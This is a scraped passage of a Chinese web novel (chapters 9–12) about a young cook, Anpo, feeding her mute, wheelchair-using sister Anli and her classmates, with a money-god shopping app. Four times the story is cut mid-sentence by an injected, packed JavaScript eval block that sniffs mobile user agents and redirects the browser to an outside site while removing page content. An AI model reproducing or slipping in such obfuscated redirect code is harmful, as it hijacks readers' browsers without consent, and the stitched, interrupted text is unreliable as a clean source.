黏黏的、黄黄的，形似某种物体的南瓜裹满筷子，径直塞进嘴里。 安栗皱起眉，呆毛竖成天线，抗拒地看着同样在自己餐盘的东西。 “呕——” 180含着筷子，表情呆滞。 “妈呀，齁甜，大厨的糖不要钱吗？” “喂猪吗？煮成一滩怕我咽不下？” “猪的伙食应该比我们好。” “为什么我要对食堂抱有幻想？我应该老老实实点外卖。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698793|189098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>耳边此起彼伏响起对菜的吐槽，安栗嫌弃推远餐盘，拿出屁股底下的本子，唰唰写下一行字。 【走，带你去吃别的。】 180视线聚焦，终于回神，抓起水猛灌几大口。 “南瓜糊我嗓子眼了，甜到我想吐。我发誓，这辈子不会让南瓜出现在我面前。” 安栗挥了挥本子，让180和她一起出去。 180看着餐盘里堆满的菜，良心不安道：“倒了多浪费，将就吃点。” 安栗呼呼鼓起嘴，夹起一块猪蹄怼到她眼前。 正宗的猪脚趾，尖尖的，四周竖起没拔干净的毛，或许压根没拔。 猪蹄近在眼前，小细节看得清清楚楚。浓厚的猪臭味不停往鼻孔钻，180都能想象到它在排泄物里头踩了多少脚。 呕—— 上一秒压制的甜立马反胃上来。 “话又说回来，猪蹄在下锅的时候已经被浪费了。” 180一刻不带犹豫推着安栗冲出了食堂。没有猪臭味环绕，两人觉得操场的空气是如此的清香。 “哪家外卖好吃？你吃过吗？”180叽叽喳喳，安栗啊啊两声，本子指着操场一个角落。 180狐疑看过去，除了一排栏杆，还有三个男的站在那，什么也没有。她不确定盯了安栗会，不知道接收安栗的信号是否正确。 “要不，你写？” 本子用来比划多浪费啊！ 安栗叹口气，认命在上面画上几道。一个大大的走字占据整个版面，180不再犹豫，呼呼把住轮椅往角落里冲。 另一边，同样没吃上饭的几个倒霉蛋也往那边跑。 “到底是谁拿了我的外卖？我特地花30块配送费点的煲仔饭。” “是不是送错门了？” 男生声音一滞，想了下学校的平面图，摇摇头。“上课期间，学校其他门不开放，放不了。” 几个可能性大的地方找过了，四个人只能认栽，对着煲仔饭吞吞口水。 “吃什么？”兜兜转转，又回到原来起点。 “食堂的菜好像不错，我闻到了南瓜香。” 9. 第 9 章 军训时飘过来的香气他下意识吸了一口又一口，男生心动了。要不…… 几人下定决心准备去食堂，恰好一群人从面前经过，嘴里骂骂咧咧。 “学校从哪请过来的人才。外面闻起来是神作，吃出来是猪食。” “我见过我奶奶喂猪，南瓜皮不削，剁成小块放锅里煮。我保证食堂的做法和猪食一模一样。我在里面吃到了南瓜硬皮和籽。不过我奶奶做的猪食更好吃，至少不齁。” “哇，卤猪蹄更恶心好吗？像是从猪屎里卤出来的，咬一口，那毛扎了我嘴。我能接受猪大肠带味，并不代表猪蹄上能出现。” …… 四人迈出的脚又收了回去。 “咳咳，看来食堂依旧没什么长进。穆柯，你再问问外卖小哥。” 前面有人踩个大雷，几个人不至于傻到又往前冲，只好再寄希望于他们丢失的外卖。 穆柯应声，拿出手机，正好外卖小哥的新消息弹出来。 他皱眉扫完，兴奋大叫。“外卖没丢。” “他说他快超时了，插近路走的后门。学校后门没开，他给我们放靠后门操场的桌子上了。” 乌龙一场。 几人松口气，肚子不约而同发出咕咕声。 “后门操场哪有桌子？”有人发现信息里的盲点。 穆柯咔一声关掉手机，及时出声提醒。“行了，快去拿。别晚点又给人顺走了。” 外卖又有丢失的可能性。这下，几人哪还管得了里面的盲点，面色正肃，气势汹汹像是要去干架冲往后门操场。 来者不善！ 安珀脑子第一时间冒出这个想法。 眨眼间，几人从模模糊糊的影子变成壮汉印在安珀视网膜上。 四人有计划地分散开，探头探脑，貌似在找什么。 “那个，”安珀的声音冒了一点点头，瞬间被另一道大嗓门压下去。 “安栗，你确定这边有吃的？我可没看到。”180吸吸鼻子，“也没闻到。” “是不是你点的外卖放这了？” “外卖”两个字像是对上某种暗号，四人组一窝蜂涌过来，将安栗和180团团围住。 “你们的外卖也放靠后门操场了？领到了吗？具体在哪？” 问题一个一个砸过来，砸得180脑袋发晕，安栗举起本子。 【没有外卖，不清楚。】 简单明了，几个字便打发了四人组。 四人组垂头丧气，找遍了也没看到哪有桌子，难不成今天他们注定吃不上饭？ “你们的外卖在这。”安珀及时大喊，所有人的目光齐刷刷扭向她。 前不久，外卖小哥要赶不上下一单，就把学校的单子寄存在她桌上。不过后面钱飒余他们吃完了，安珀怕菜变质便把东西搬到店里，自己则坐在阴凉地方等人。 谁知道她一个大活人坐这都没人问。 安珀摸摸鼻子，把一大袋子外卖递给四人组。 忙完这些，安珀将视线挪到180身上，和安栗打眉眼官司。 这是？ 【我同学——杜济世。】 杜济世同学有着和她体型一样巨大的名字。 安珀估摸着杜济世和耳钉男之间的体型差距，忽然觉得给安栗准备的盒饭不够吃。 也许店里剩下的菜也不够吃。 “灌木丛里有张桌子，杜济世你去搬出来，我再炒个菜。”安珀原封不动把菜搬出来，示意安栗招呼同学，自己则急匆匆跑进后厨。 先前猪肉摊老板送的猪血还没做，现在安栗同学来了正适合加道菜。 生姜和小米辣切成碎，锅里倒油，放进去爆香。 辛辣刺激味不断从锅里飘出，安珀趁热滚点开水进去。 燃气灶火力开到最大，油光飘在水面，锅边小白泡滋滋爬了一层又一层。 安珀趁着这个空隙，把猪血捞出来。 猪血有她手掌两倍大，安珀在手上将猪血切成一指厚的片片。微微倾斜，猪血如同多米诺骨牌触发连锁反应，咚咚往水里落。 一分钟不到，水面翻滚上来包裹住猪血，表面上冒了些血色的沫。 安珀用铲子小心地把浮沫打出来。打到汤里干净的时候，再往里面丢少许盐和葱花。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698794|189098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一碗简单的猪血汤大功告成。 做汤的同时，安珀煮了点甜酒冲蛋，放盆子里一起和猪血汤端出去。 看似做了一大堆，实际安珀把东西拿出去的时候才过了几分钟。杜济世刚把折叠桌弄好，叽叽喳喳和安栗吵个不停。 “哇，我闻过这个味道，就是这个炸南瓜味。是你姐姐做的，好厉害。” 杜济世指着咸蛋黄南瓜蹦蹦跳跳，脸颊激动冒出两坨红。明明是180的个子，跳起来比安栗还可爱。 “这……这是蒸油渣吗？呜呜呜，为了减肥跳健美操，我妈已经很久没做给我吃了。” “安栗你姐真好，知道我来还专门做我最爱的蒸油渣。”杜济世斜插进安栗两肋，嘿地一口气把安栗举起来转圈圈。 “安栗你这个朋友我交定了，以后你姐就是我姐。” 上层空气稀薄，安栗被转得晕晕乎乎。安珀出来刚好听见这一句，憋着笑将安栗解救出来。 “快来吃饭，早点回去休息，下午还要军训。” 杜济世哦一声，咚地把安栗放下，快乐小狗似的凑到安栗旁边，眼睛亮晶晶的问：“姐，这是什么？能吃了吗？” “想吃什么自己打，饭要普通的还是猪油拌饭？” “猪油拌饭。”杜济世斩金截铁，然后把住栏杆不好意思道：“姐，能不能帮我拌一碗。你做的饭好香，猪油拌饭肯定更好吃。” 谁不喜欢嘴甜的孩子，安珀被哄得嘴角没下来过，当即拿了个大号碗盛点饭，酱油洋洋洒洒转几个圈落下，细碎的油渣铺满饭顶，一勺半凝固的猪油落下。 猪油拌饭出餐。 杜济世接过饭，又满满当当打了一盒的菜，脚步轻快，马尾辫在背后甩来甩去，一屁股坐到凳子上。 猪油拌饭来回搅拌几圈，米饭染上酱色，夹杂点点白，油润发亮。 杜济世嗷呜一口，猪油肉类的醇脂香占据整个口腔，米饭寡白的底味恰到好处衬托出酱油发酵后的豆香。 猪油渣碎碎的，和成团的饭搅成一团。嘎吱嘎吱，无处不在。 杜济世吃得摇头晃脑。饭试了一口，就放下筷子。 10. 第 10 章 她要先吃最爱的猪油渣。 猪油渣放在一个个小钵子里，干辣椒和豆豉点在第一层，油渣蒸得软趴趴挤成一团。 杜济世伸出筷子拌了拌，红红的辣椒穿插在其中，更多是顺着筷子扒了一层。 筷子在饭里抹抹，杜济世重新夹了点蒸油渣塞进嘴里。 油渣里的油已经被煸得很干了，在蒸气的侵入下变得糯糯的。咬一下，稍厚的部分甚至反过来q弹挤压牙关。 蒸油渣来回在嘴里移动，爆发出浓厚的猪油香，却不是肥肉那股油腻感。干辣椒的辣味融入油渣本身，时不时蹦出来解掉腻味。 豆豉臭臭的，甚至在嘴里滚了几圈也没消掉它的臭味。可是这种臭味混合着齿尖挤出来的少许猪油，转变成一股奇异的香，让人上瘾，吃了一口接一口。 杜济世吃了几口后嫌麻烦，干脆抱起碗往嘴里倒。 三两下，钵子里的蒸油渣见了底，剩了些许油汤。 杜济世也不浪费，索性倒进猪油拌饭里搅搅。 这下，猪油拌饭成了另一种风味。 猪油浸过的辣椒干香干香的，并不辣，但使拌饭的风味上升了一个档次。 尤其对杜济世这种嗜辣的，含辣的和不含辣的拌饭简直是两种不同的味道。 她更喜欢和蒸油渣混在一起的拌饭。 杜济世又去拿了一碗蒸油渣专门拌饭。 安栗看着她那碗油渣冒尖的拌饭，油光连饭都吸不了，瞳孔中闪过丝恐惧。 杜济世误以为安栗也想吃同款，立马把饭推到她面前。“试试？” 安栗头摇成拨浪鼓，双臂一伸把她的饭护在怀里。 杜济世太可怕了！不能再让她碰了，尤其是电动轮椅。 “好吧，我吃。”杜济世耸耸肩，拿回饭呼噜呼噜小猪吃食扒了几口。 一入口，杜济世自动戴上痛苦面具。 完蛋，油渣倒多了，好腻！ 杜济世赶紧喝了口猪血汤，生姜的辛辣触及到舌尖，刺得她大脑一激灵。小米辣的后味紧接而来，汤清清爽爽的，融了点葱花的香气，入口立马冲刷掉满嘴的油腻。 大夏天的，一口辣辣的热汤喝下去，极端对极端，杜济世背上出了一层汗。 “爽！”杜济世大叫一声，通体舒畅。 安栗肩膀颤了颤，吓得抬头瞧了她一眼。见她碗里下去了一大半的猪血汤，赞同点点头。 辣辣的汤确实很爽。 不过她更喜欢里面的猪血。 猪血切得稍稍有厚度，筷子夹起来不断，还在空中打颤。安栗从一端咬上一口，猪血边留下清晰的牙印，到嘴的却脆脆的，有点韧劲。 猪血本身的味道不多，仅有些许的咸味，但吃的就是它的清爽简单感。 安栗嗷呜一口接一口，杜济世也不逞多让，一口饭一口汤一口猪血，相互制衡愣是让她玩得明明白白。 呼噜呼噜~ 咕咚—— 呼噜呼噜~ 咕咚—— 呼~安栗筷子一扔，脑袋四处转了转，谁在她吃饭的时候对她的饭咽口水？ 安栗头转到背后位置，四人组身体僵了僵，眼神飘忽。而后几人回过神，背过去，拿筷子的拿筷子，扒饭的扒饭，忙到不行，不过动作看着慌到不行。 扒了几口，四人组越吃越慢。鼻尖不断传来闻过的南瓜香，其余菜的味道更是霸道到不行。吃着吃着，口里的煲仔饭索然无味，还没猪油拌饭闻着香。 刚刚他们可是听到了，猪油拌饭的料随便加，想吃多少加多少。 好想吃…… 如果没人盯着他，他能就着香气把饭吃完。 有人能忍，穆柯忍不了了。 他抱着饭，噌地站起来。“看我干嘛？吃你的饭。” 【你们刚才馋我的饭，我也要盯回来。】 “谁馋了，少胡说……”穆柯耳侧悄悄爬上粉色，音量越来越低，心虚到不行。 【想吃吗？】 “不，”穆柯头撇过去，想字还没吐出来，一页纸快速翻过去。 【3块随便吃，先到先得。】 安栗没做过生意，奸商的本质倒是一等一，直接把她姐定下的价翻了个倍。 咕咚—— 穆柯不再掩饰，狠狠咽了一大口口水。 他看着碗里薄薄几片肉和一大堆饭的煲仔饭，唰地从裤袋掏出3块钱压到安栗吃饭的桌上。 “我吃。” 安栗摊开手，示意他自己动手，然后探出头盯起剩下三个，眼底意思明晃晃的。 你们呢？ 穆柯先做了领头羊，剩下的人不再扭捏，乖乖掏出3块钱送到安栗手里。 安家小食堂经过安栗一通宣传，成功迎来四位新客人。 安珀本就没准备多少的菜再遭一轮搜刮彻底见底。 四人组也不嫌弃没桌子，就地找个地方蹲下来吃。 明明吃起来寡淡的煲仔饭，堆上店里的几道菜，变得可口不少。 “这个排骨可以一口吞，好香的卤味。哇塞，排骨的卤汁用来拌饭一绝。” “南瓜吃起来和我闻到的一模一样。外面这层皮酥酥的，咸鸭蛋的味道超级浓郁。呜呜，里面沙沙的，有点像加糖版栗子泥。好次好次！” “幸好教室里不让吃饭，不然我们早走了，哪能吃到好吃的饭。干脆明天别点外卖了，来这吃。” 几人腮帮子填的满满，嘴里发出含糊不清的声音，齐刷刷点头。 穆柯头跟着点，视线不自觉飘到桌上。 老板去哪了？ 蛋花汤和猪血汤还有吗？ 他也想吃。 穆柯的目光太过炽热，安栗不适扭过头瞪他一眼。 视线对上，穆柯站起来，大大方方问：“还有汤吗？” 安栗想说没有，又怕他跑进去打扰她姐休息。安栗的小呆毛蔫蔫的，不情愿把自己的甜酒冲蛋推出去。 【一碗，没吃过。】 好歹他们付了3块钱呢！ 穆柯咧开嘴，原地咕嘟咕嘟把汤灌下去。 米汤和蛋花的丝滑，甜中带酸。一碗下去，穆柯咂巴咂巴嘴，没尝出太多的味，要是再来一碗就好了。 来晚了，明天要早点来抢位置。 穆柯盯着唯一一张折叠桌，暗暗下定决心。 其他人肚子吃得滚圆，连盆里的汤汁都没放过，全部搜刮来拌饭了。 四人组吃到满脸幸福，互相搀扶着走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698795|189098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 安栗速度吃完剩下几口饭，把钱压在保温盒下，和杜济世急匆匆赶回教室。 安珀出来的时候，人全部走光，折叠桌和垃圾安置妥当。 栏杆另一面堆起几个空盆，安珀拿起来一看，不锈钢锃光瓦亮，根本不用进洗碗机能直接出餐。 底下还有一沓整齐叠好的一块。 安珀：…… 明天的菜是不是要多备点？ 安珀陆陆续续把东西收拾完，终于空出点时间玩手机。 按指纹解锁，财神爷的图标和病毒似的霸满一块手机屏。 [用户消费已达1w+，解锁新手大礼包。潜力股财神爷，请抽取属于你的礼包。] 三个福袋样式的礼包轮番跳动，安珀径直选择中间的。 背景音乐不断循环“恭喜发财”，一阵耀眼的白光闪过。 [潜力股财神爷，恭喜您选定礼包。支付99.9即可解锁内容。] 安珀：？？？怎么和她看的小说不一样？ 安珀认命付了99.9。这下，什么花里胡哨的都没了，一张接一张卡弹出来。 [恭喜您获得10w返利金。] [恭喜您获得100积分，解锁积分兑换功能。现余积分为101.] [恭喜您获得2x2拼图4张，9x9拼图一张。] [花钱即赚钱。请潜力股财神爷努力升级，好礼尽在商城！] 一条一条的惊喜砸过来，安珀脑袋有点晕晕乎乎，喘不过气。 原以为返利倍数不断上升就是财神爷系统唯一的功能了。谁想到还有新手大礼包，商城居然也开了！ 谁家系统绑定不放新手礼包，留到后面抽。 盗版APP的设计就是辣鸡！ 安珀喜滋滋数了遍余额的零，才切换到商城界面逛逛。 其实也没什么好逛的，商城绝大部分商品限制等级，而她升到2级的时间不长。放眼望去，一片灰，只有最顶上的限时秒杀五颜六色。 安珀点进去瞧了瞧。 半年散养土公鸡10只，1积分 稻花香大米50斤，3积分 超超超好用清洁剂（蓝莓味）1瓶，6积分 便携折叠桌套装4套，8积分 …… 安珀简要怀疑限时秒杀是不是她肚子的蛔虫了？ 鸡和米饭可以放在店里卖，折叠桌放在操场给客人坐。除了那瓶清洁剂，几乎起不到作用。 但粗略算算买下来只要18积分。 安珀看着界面顶巨富的101，大手一挥全扫光了。 不过，系统要怎么送过来呢？ 安珀还没想出个所以然来，一个电话猛地跳出来。 熟悉的备注闪烁在屏幕，安珀面带笑意接起电话。 “喂，安珀，星期天我家要办搬家宴，请你来当厨师。” “我可是在我爸面前宣传了很久，他才松口，你可要拿出你的看家本事。” 女声直入主题，三言两语把安珀星期日的日程定下了。 反观电话这一端的安珀，被消息雷得外焦里嫩，她反复喝了几口水，才找回自己的声音。 “怎么突然找我？陈大厨不行吗？” 11. 第 11 章 来人是安珀从小玩到大的最好朋友，安茯苓。 她家是金秋村唯一拆迁的一户，算算时间，安置房应该建好，可以搬进去了。 安珀还预备着过段时间带安栗去吃席，怎么突然间她变厨师了？ 金秋村村民家里要办任何大型餐宴的话，首选是陈大厨。其次才是去酒店或者找其他厨师。 下一秒，安茯苓叭叭叭开启吐槽模式，解答了安珀的疑惑。 “刚开始，我推荐你做厨师，我爸不愿意，说你太年轻了。陈大厨经验老道，可他老道到联合进货商把主人家的菜换了，吃回扣还赌债。” “后面人家在席上吃出来了，给他揍了一顿。” “活该，谁让他上次嘴你的手艺只够窝在小地方开快餐店。” “我看陈阿婆下次怎么翘起她的老母鸡屁股，咯咯夸她儿子好。” 安珀眨眨眼，心里一股暖流淌过，嘴立马跟上安抚气呼呼的安茯苓。 “好了好了，我保证拿出全部本事给你家办得风风光光。” “这才差不多。”安茯苓像只炸毛的傲娇小猫，得到主人的摸摸才消气不少。“有任何问题找我爹。上班呢，不说了。” 嘟嘟嘟—— 电话开启忙音，安茯苓风一阵似的，来得快去得也快。 店外扬起热风，树沙沙作响，蝉吱吱叫个不停。安珀不觉得吵，反而思绪清晰到不行。 农村大席在村里没点名声可是很难接到。 安茯苓倒是误打误撞给她争取来个机会。 机会在她手里，她要趁此打出名声。她才不会一辈子开快餐店，安珀有这个自信。 * 安珀不觉得吵的蝉，安栗却觉得聒噪。尤其是桌边围了一群人叽叽喳喳，打探隐私。 “安栗，你的腿会好吗？不会要一辈子坐轮椅吧？” “安栗，你声音是怎么没的？突然有一天发现说不了话吗？” “天啊！安栗的经历和小美人鱼一模一样。” “嘻嘻嘻！” “小美人鱼比你们这些绿头鸭好看，一天到晚不知道在嘎嘎鬼叫什么。” “吱啦”一声，杜济世拖着椅子，挤到安栗旁边，双手抱臂，居高临下看着面前的女生。 “要不你做小矮人。不过小矮人善良可爱，我觉得你更适合毒苹果。” “毒哑你或者回归本身不会说话。” “你……”杜济世的小嘴萃了毒似的，一环接一环，将女生顶到说不出话。 “下次你别想吃我的猪肉脯了。” 女生卡了好久，最终放下一句幼儿园水平的狠话。 她的猪肉脯是县里一家有名的零食店买的，想吃要提前排几个小时的队。 女生开学的时候带过来一大包，全分给班里的同学了。因此收获了一些说不清道不明的好人缘。 “杜济世，好歹你也吃了婷婷的东西，就这么骂她？” 杜济世轻嗤声，一道声音比她更快怼回去。 “吃了你的东西要给你做狗。那杜济世吃了我姐做的饭，岂不是要蹲在我家当看门狗。” 软糯的声音慢悠悠在教室响起，话里的内容却不太友好。 杜济世哇哦发出感叹。 女生瞪大眼，指着安栗结结巴巴。“你你……装的。” 周围同学一个个也是震惊到不行，一个个放下手里的东西，围到这边凑热闹。 “你个装货。猪肉脯咸得要死，吃一口要喝好几口水，浪费我的水。不知道你从哪里买的假货冒充，还没我姐做的好吃。” “这种东西，配食堂里的金黄南瓜最好了，又甜又咸，增加水的摄入量。” “不然我给你个建议，让买猪肉脯的商家趁早转行去卖咸菜，说不定销量比猪肉脯还好。” 女生气的攥紧双手，浑身发抖，脸颊通红，泪珠死死框在眼睛里，不让它掉下来。 安栗扫了眼，继续叭叭攻击。 “我劝你少分点猪肉脯出去，万一食堂顿顿是金黄南瓜的水平。那你饿了岂不是只能喝水，连就水的咸菜都没有。” “我就不一样了，我姐一天三顿不重样给我做。” “中午我吃的是果冻猪软肋。我姐放高压锅炖了好久，肉都炖化了。扯下来的肉一丝丝的，中间软骨棍变成透明的样子，嗦一口进嘴里和果冻一样软脆，卤水在嘴里香香的。” “还有猪血汤，汤底味道淡淡的，反上来微微的辣，一口下去和蒸桑拿一样，出一身畅快的汗。猪血里面有点小孔，吸饱了汤汁，吃一块滋一嘴。” 安栗接二连三说了许多菜的味道，把教室里的同学馋到不行。入耳只有不同的咕噜咕噜和咕咚声。 末了，安栗还嫌不够，面带遗憾说道：“你是吃不到了。我家没有吃了别人东西要给她当狗的传统。你家的我只能尽量尊重了。” 眼泪终究在眼眶里呆不住，骨碌碌滚出来。 “哇！”婷婷五官皱成一团，张大嘴嚎，长长一条鼻涕搭在嘴边。 她的哭嚎声终究是把老师吸引过来了。 老师一脸严肃站在门口，浑身上下散发黑气。“都给我散了，你们三个跟我到办公室来。” 三个打嘴炮的小朋友像鹌鹑一样低头立在办公桌前。 老师推了推眼镜，视线极具压迫感的来回扫过。 “说说，为什么吵架？” “安栗骂我是狗。”婷婷一下一下打嗝，嘴巴嘟起，抽抽噎噎。 “安栗，你为什么……”老师语气严厉到一半严厉不下去了。 她忽然想起，这孩子好像不会说话。 “杜济世，你来说，到底是怎么吵的？” 杜济世绷紧背，一五一十把事情说出来。时不时转换角度扮演角色，力求最大限度还原事情真相。 老师看完一场表演，头疼地揉揉太阳穴。 随后对杜济世和安栗各打五十大板，严肃教育了婷婷一番，就把三人放回了教室。 三个人如同放出笼的鸟，迫不及待跑出办公室。 老师盯住蹿到第一的轮椅背影，默默掏出手机拨出电话。 “安栗今天说话了。” 安栗今天居然说话了！ 安珀放下手机，接收今天第二个刺激的信息。 是不是好了？心理问题解决了？不如下午请假去看医生。 安珀焦躁不安，一直持续到安栗的放学时间。想了想，她干脆开上小三轮上学校门口等。 校园里传来舒缓的歌声，学生们三三两两，成群结队从门口鱼贯而出。 没多久 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698796|189098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，安珀看到了安栗标志性轮椅，后面还有一个高高壮壮的女生。 “小珀姐，安栗说让我去家里玩。”杜济世挥挥手，大步凑到安珀边上。 “她亲口说的？” “那倒不是，安栗骂完婷婷后就不会说话了。”杜济世搅搅手指，搅一下撇安珀一眼，眼珠子滴溜溜的，心虚到不行。 安珀当做看不见，目光转向瘫在轮椅上，自闭中的安栗。 “谁先骂的？” “婷婷。”杜济世举手抢答，安栗一言不发。 “姐，你别怪安栗，是婷婷先嘲笑安栗的腿。” 安珀叹口气，“赢了没？” 三轮车突突的，安珀声音混在其中，几不可闻。 安栗耳尖听到了，一骨碌坐直，唰唰翻开本子，像只昂脖子胜利的小公鸡。 【赢了，骂得她眼泪鼻涕一起流，到处找妈妈。】 【啊啊啊，为什么我又不会说话了。】 安栗气冲冲在本子上乱画，画着画着，三轮车到了家门口。 杜济世还是第一次从前门进安家小食堂。 前面摆了四张桌椅，后厨位置用透明围挡圈起来，视线透过去，后厨结构看得一清二楚，里面的干净整洁也看得清清楚楚。 桌子明显看得出是闲置不用，上面摆满了快递。 “小珀姐，快递要收收吗？” 平常她的快递寄存到学校门卫室，店里哪来的快递？ 安珀刚想否认，忽然想到商城的限时秒杀，急匆匆捎把剪刀走进去。 “拆了再收。” 真是奇了怪了，她在店里待了一个下午，没见到有人送货上门。怎么她出去几分钟，门锁得好好的，货反而从天而降。 安珀划之前看了下面单，发货人是财神爷旗舰店。 这下，安珀百分百确信这批货是她秒杀的。 剪刀丝滑地在透明胶上划过，包装拆开，10只冒着热气，处理好的小公鸡躺在里面。 肉质紧实，透明膜包裹在腿上，弹性十足。 安珀凑近闻了一下，没有异味。 她满意把小公鸡放到一边，陆陆续续把剩下的快递拆了。 “杜济世，留下来吃饭。刚好试试我买的鸡。” 安珀盛情邀请，杜济世为难看着墙上的钟。“小珀姐，学校有门禁。” 小珀姐做的鸡肯定好吃，可是吃完就会迟到，迟到会被老师找家长，呜呜呜…… “没事，一个菜，保证你不会迟到。” 诱惑当前，杜济世最终没忍住，答应了。 安珀挑了一只比较大的鸡拎进后厨，咚咚几下斩成小块归拢在碗里。 流水不停淘洗几遍，然后把碗里的水滤干。 姜拍碎扔进去，一圈耗油，半勺糖，一点胡椒粉和淀粉洒在上面，抓拌均匀。 浅浅的酱色染上鸡肉，安珀再往里浇上几圈油封层。 鸡肉更加油亮了。 趁小公鸡研制的时间，安珀来准备配菜。 葱切成段，蒜和姜切成小片，小米辣对半切，还有一些洋葱块和一小把豆豉。 安珀把锅烧干，热气扭曲了上方的空气。 是时候了！ 锅里放上几勺油，碰到锅烧白的部分，滋啦滋啦作响。 12. 第 12 章 腌制入味的鸡块倒进去，平铺开。 鸡皮部分刚好与热油接触，刺啦刺啦往外飚小油点。 滋滋滋—— 水汽不断蒸发，鸡皮渐渐收缩变焦褐色，出油。一股鸡油香嘭地从锅里冒出来，底下的油位线上升，混合油逐渐变得清澈。 维持原样，安珀又让鸡块煎了会。等到这一面变色，鸡皮焦焦脆脆，她抄起铲子，从底部一整个掀起来。三两下，给鸡块翻了个面。 没一会，这边的鸡块也上好色了。 热油滋啦，不停冒出小泡泡。 安珀把鸡肉推到一边，在锅中间挖个小洞洞，姜蒜和豆豉一起倒进去。 配菜瞬间变色，亮度比之前高了一个度。 姜的辛辣和豆豉的香臭交织，猛烈朝安珀扑过来。 安珀吸了吸鼻子，赶忙把几样东西混合均匀，然后沿锅边浇上一圈米酒。 嗤—— 火舌顿时上扬，将米酒蒸了个一干二净，剩了些许酒香。 洋葱和小米辣是时候放进去了。 安珀抡起锅，鸡肉伴着上升的火舌，在温度最高的位置转了几圈。 呛咳的气味逐渐散发出来，与之一起的还有鸡肉的干香。 淋上几圈生抽，长段的小葱加进去。 安珀拎起整个锅，抖抖。鸡肉一起进了加热好的砂锅。 滋滋滋 酱褐色的料汁一接触到烧热的砂锅，发出剧烈的抗议。 小葱和红椒穿插在鸡肉之间，煞是清爽。 安珀又去洗了点白菜，撕成段，准备等会加进砂锅烫着吃。 就这么会功夫，高压锅里的钵子饭也蒸好了。 米粒紧实围在一起，尖尖冒着水润的光，属于米饭的甜香伴随热蒸气一齐飘出来。 “吃饭啦——”安珀大喊一声。 噔噔噔、沙沙沙，在外面玩得起劲的小朋友们，两秒内闪现后厨。 安珀戴手套端走砂锅，杜济世用布包走饭，安栗拿碗筷。 一人负责一部分，一切准备就绪。 点火，酒精炉调到最小。 本就热着的干锅鸡接触到火苗，又开始滋滋地叫。 安珀率先夹了块肉。 鸡皮微微卷上去，肉质圆润紧实，表面泛着油光，貌似是鸡小腿的位置。 安珀一口塞进去，鸡皮焦脆干香，牙齿一接触就发出咔咔的声音。 肥厚的鸡油溢出，满口留香。 鸡肉部分则更加给安珀惊喜。 肉质紧实得不像话，第一口咬下去没吃到，齿尖反而被弹了回来。 再咬下去，肉嫩得很，底味吸了个十成十，咸辣葱香轮番登场，鲜到不行的鸡汁流出来。 不用想，一吃就是在山间乱跑的鸡。商城产品的品质简直超出安珀的意料，就是有点少。 “小珀姐，洋葱好好吃。”杜济世接连夹了几块洋葱，眯起眼吃得摇头晃脑。 猛火翻炒过的洋葱，去掉了自带的辛辣，吃到嘴里有些些的甜，生脆生脆的，像是打过霜的白菜梆子。 酒精在下面慢慢加热了会，洋葱的熟度加深，肉质逐渐变软。泡在鸡油的部分，咕嘟咕嘟着，体积缩小，边缘变脆。 洋葱的味道又变了。 软软糯糯，一抿就化，其间夹杂了点咔嚓咔嚓，细细回味下还有些肉香。 吃完纯洋葱，杜济世挑了块稍大块的洋葱，豆豉蒜和一块鸡肋骨部位的肉一口塞进嘴里。 刺激的气味在口中爆开，配上豆豉的香臭，一口让杜济世欲罢不能。 已经吃了不少鸡块，舌尖不会对重复的味道产生惊喜。 但鸡肋骨确确实实把杜济世惊到了。 肋骨部分的肉不多，甚至有些柴，按理说最难吃。 可这个肋骨不一样。小珀姐将鸡块斩得很小，鸡肉很容易吸饱酱汁，再经过猛火爆炒…… 肉干柴一丝丝的，富有嚼劲。骨头彻底和咸辣融为一体，嗦一下，蒜洋葱豆豉的复合味充斥口腔。 吃起来竟然比其他部位更香。 杜济世反复夹了几块拌饭，一口把腮帮子填得鼓鼓囊囊。 幸好她当初努力跳健美操，不然哪吃得上这么好吃的饭。 三人你一筷我一筷，一只小公鸡吃得七七八八。 安珀把沥干水的白菜倒进去。 